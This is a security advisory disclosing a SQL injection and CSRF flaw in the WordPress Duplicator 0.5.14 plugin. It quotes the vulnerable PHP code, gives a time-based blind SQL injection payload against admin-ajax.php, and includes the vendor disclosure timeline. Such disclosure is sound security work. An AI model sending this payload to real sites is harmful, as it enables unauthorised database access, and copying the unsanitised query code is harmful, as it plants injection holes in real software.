WordPress Duplicator 0.5.14 Cross Site Request Forgery / SQL Injection

[KhiZaRix]

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# Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF

# Exploit Author : Claudio Viviani

# Vendor Homepage : WordPress Duplicator - Copy, Move, Clone or Backup your WordPress

# Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip

# Date : 2015-04-08

# Tested on : Linux / Mozilla Firefox

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# Description

Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability

Location file: /view/actions.php

This is the bugged ajax functions wp_ajax_duplicator_package_delete:

function duplicator_package_delete() {

DUP_Util::CheckPermissions('export');

try {

global $wpdb;

$json = array();

$post = stripslashes_deep($_POST);

$tblName = $wpdb->prefix . 'duplicator_packages';

$postIDs = isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null;

$list = explode(",", $postIDs);

$delCount = 0;

if ($postIDs != null) {

foreach ($list as $id) {

$getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A);

if ($getResult) {

$row = $getResult[0];

$nameHash = "{$row['name']}_{$row['hash']}";

$delResult = $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}");

if ($delResult != 0) {

$post['duplicator_delid'] variable is not sanitized

A authorized user with "export" permission or a remote unauthenticated attacker could

use this vulnerability to execute arbitrary SQL queries on the victim

WordPress web site by enticing an authenticated admin (CSRF)

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# PoC

http://target/wp-admin/admin-ajax.php?action=duplicator_package_delete

POST: duplicator_delid=1 and (select * from (select(sleep(20)))a)

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# Vulnerability Disclosure Timeline:

2015-04-08: Discovered vulnerability

2015-04-08: Vendor Notification

2015-04-09: Vendor Response/Feedback

2015-04-10: Vendor Send Fix/Patch

2015-04-10: Public Disclosure

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Discovered By : Claudio Viviani

HomeLab IT - Virtualization, Security, Linux Blog - Virtualization, Security, Linux Blog

F.F.H.D - Free Fuzzy Hashes Database (Free Fuzzy Hashes Database)

info@homelab.it

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https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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Source: http://packetstorm.wowhacker.com/1504-exploits/wpduplicator-sqlxsrf.txt